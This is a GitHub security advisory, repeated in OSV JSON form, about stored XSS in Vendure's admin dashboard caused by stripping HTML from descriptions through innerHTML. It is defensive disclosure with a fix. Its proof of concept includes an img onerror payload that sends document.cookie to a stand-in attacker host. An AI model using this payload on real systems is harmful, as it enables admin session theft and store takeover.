GHSA-XHQ9-WHGQ-49J5

Vulnerability from github – Published: 2026-09-17 14:49 – Updated: 2026-09-17 14:49
VLAI
Summary
Vendure has stored XSS in the Admin Dashboard via unsafe HTML-stripping (innerHTML) of entity descriptions
Details

Stored XSS in the Admin Dashboard via unsafe HTML-stripping (innerHTML) of entity descriptions

Package: @vendure/dashboard (vendure-ecommerce/vendure, latest master) ·

Summary

The dashboard's RichTextDescriptionCell "strips HTML" from an entity's description by assigning it to a live element's innerHTML and reading back textContent. This pattern still executes active markup: a description containing <img src=x onerror=…> runs script when the element is parsed (image resource loads even on a detached node in Chromium/Firefox, firing onerror). Because description is an admin-settable field shown in multiple list views, a lower-privilege administrator can store a payload that executes in a higher-privilege administrator's browser when they open the corresponding list — stored XSS leading to admin-session compromise.

Vulnerable code

packages/dashboard/src/lib/components/shared/table-cell/order-table-cell-components.tsx

export const RichTextDescriptionCell: DataTableCellComponent<{ description: string }> = ({ cell }) => {
    const value = cell.getValue();
    const textContent = useMemo(() => {
        if (!value) return '';
        const div = document.createElement('div');
        div.innerHTML = value;          // line 51 — parses/loads active markup; <img onerror> fires here
        return div.textContent ?? '';   // line 52 — reading textContent does NOT undo the side effect
    }, [value]);
    ...
}

innerHTML does not run <script>, but it does trigger resource loads / event handlers such as <img src=x onerror=...>, <image>, <svg> handlers — even on a detached element — so the assignment itself is the sink. Reading textContent afterwards is irrelevant; the handler has already executed.

Reachable from (all use this cell for the description column)

  • _products/products.tsx:53, _collections/collections.tsx, _promotions/promotions.tsx:62, _payment-methods/payment-methods.tsx:57, _shipping-methods/shipping-methods.tsx:39.

All of these are description fields editable by administrators with the corresponding catalog/promotion/settings write permissions — which, in Vendure's multi-channel model, includes channel-scoped admins.

Proof of concept

  1. As an administrator with UpdateCatalog/UpdateProduct (e.g. a channel-scoped admin), set a Product's description to: <img src=x onerror="fetch('https://attacker.example/'+encodeURIComponent(document.cookie))">
  2. Any administrator who opens the Products list in the dashboard renders RichTextDescriptionCell for that row → div.innerHTML = description → the onerror executes in their session.
  3. Payload runs with the viewing admin's privileges (e.g. a superadmin) → session/token exfiltration or admin actions → cross-privilege / cross-channel admin takeover (chains directly with the channel-scoping IDOR class already reported).

Impact

Stored XSS executing in administrators' browsers, escalating a low-privilege (e.g. single-channel) admin to actions as any admin who views the affected list. Account/store takeover.

Suggested fix

Strip HTML with an inert parser (no script/resource execution) instead of a live element, or sanitize before display:

// inert: DOMParser documents do not execute scripts or load resources
const textContent = new DOMParser().parseFromString(value ?? '', 'text/html').body.textContent ?? '';

(Or render with a vetted sanitizer such as DOMPurify if rich text must be shown.) Audit the codebase for other element.innerHTML = <untrusted> assignments used for "stripping".

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@vendure/dashboard"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.6.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-63459"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T14:49:34Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "# Stored XSS in the Admin Dashboard via unsafe HTML-stripping (`innerHTML`) of entity descriptions\n\n**Package:** @vendure/dashboard (vendure-ecommerce/vendure, latest master) \u00b7 \n\n## Summary\nThe dashboard\u0027s `RichTextDescriptionCell` \"strips HTML\" from an entity\u0027s `description` by assigning it to a live element\u0027s `innerHTML` and reading back `textContent`. This pattern still **executes** active markup: a `description` containing `\u003cimg src=x onerror=\u2026\u003e` runs script when the element is parsed (image resource loads even on a detached node in Chromium/Firefox, firing `onerror`). Because `description` is an admin-settable field shown in multiple list views, a lower-privilege administrator can store a payload that executes in a **higher-privilege administrator\u0027s** browser when they open the corresponding list \u2014 stored XSS leading to admin-session compromise.\n\n## Vulnerable code\n`packages/dashboard/src/lib/components/shared/table-cell/order-table-cell-components.tsx`\n```tsx\nexport const RichTextDescriptionCell: DataTableCellComponent\u003c{ description: string }\u003e = ({ cell }) =\u003e {\n    const value = cell.getValue();\n    const textContent = useMemo(() =\u003e {\n        if (!value) return \u0027\u0027;\n        const div = document.createElement(\u0027div\u0027);\n        div.innerHTML = value;          // line 51 \u2014 parses/loads active markup; \u003cimg onerror\u003e fires here\n        return div.textContent ?? \u0027\u0027;   // line 52 \u2014 reading textContent does NOT undo the side effect\n    }, [value]);\n    ...\n}\n```\n`innerHTML` does not run `\u003cscript\u003e`, but it **does** trigger resource loads / event handlers such as `\u003cimg src=x onerror=...\u003e`, `\u003cimage\u003e`, `\u003csvg\u003e` handlers \u2014 even on a detached element \u2014 so the assignment itself is the sink. Reading `textContent` afterwards is irrelevant; the handler has already executed.\n\n## Reachable from (all use this cell for the `description` column)\n- `_products/products.tsx:53`, `_collections/collections.tsx`, `_promotions/promotions.tsx:62`, `_payment-methods/payment-methods.tsx:57`, `_shipping-methods/shipping-methods.tsx:39`.\n\nAll of these are `description` fields editable by administrators with the corresponding catalog/promotion/settings write permissions \u2014 which, in Vendure\u0027s multi-channel model, includes **channel-scoped admins**.\n\n## Proof of concept\n1. As an administrator with `UpdateCatalog`/`UpdateProduct` (e.g. a channel-scoped admin), set a Product\u0027s `description` to:\n   `\u003cimg src=x onerror=\"fetch(\u0027https://attacker.example/\u0027+encodeURIComponent(document.cookie))\"\u003e`\n2. Any administrator who opens the **Products** list in the dashboard renders `RichTextDescriptionCell` for that row \u2192 `div.innerHTML = description` \u2192 the `onerror` executes in their session.\n3. Payload runs with the viewing admin\u0027s privileges (e.g. a superadmin) \u2192 session/token exfiltration or admin actions \u2192 **cross-privilege / cross-channel admin takeover** (chains directly with the channel-scoping IDOR class already reported).\n\n## Impact\nStored XSS executing in administrators\u0027 browsers, escalating a low-privilege (e.g. single-channel) admin to actions as any admin who views the affected list. Account/store takeover.\n\n## Suggested fix\nStrip HTML with an **inert** parser (no script/resource execution) instead of a live element, or sanitize before display:\n```ts\n// inert: DOMParser documents do not execute scripts or load resources\nconst textContent = new DOMParser().parseFromString(value ?? \u0027\u0027, \u0027text/html\u0027).body.textContent ?? \u0027\u0027;\n```\n(Or render with a vetted sanitizer such as DOMPurify if rich text must be shown.) Audit the codebase for other `element.innerHTML = \u003cuntrusted\u003e` assignments used for \"stripping\".",
  "id": "GHSA-xhq9-whgq-49j5",
  "modified": "2026-09-17T14:49:35Z",
  "published": "2026-09-17T14:49:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vendurehq/vendure/security/advisories/GHSA-xhq9-whgq-49j5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vendurehq/vendure/commit/d7aa42a3f0cb524297a1a2fdf700e4aba9aca684"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vendurehq/vendure"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vendurehq/vendure/releases/tag/v3.6.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Vendure has stored XSS in the Admin Dashboard via unsafe HTML-stripping (innerHTML) of entity descriptions"
}



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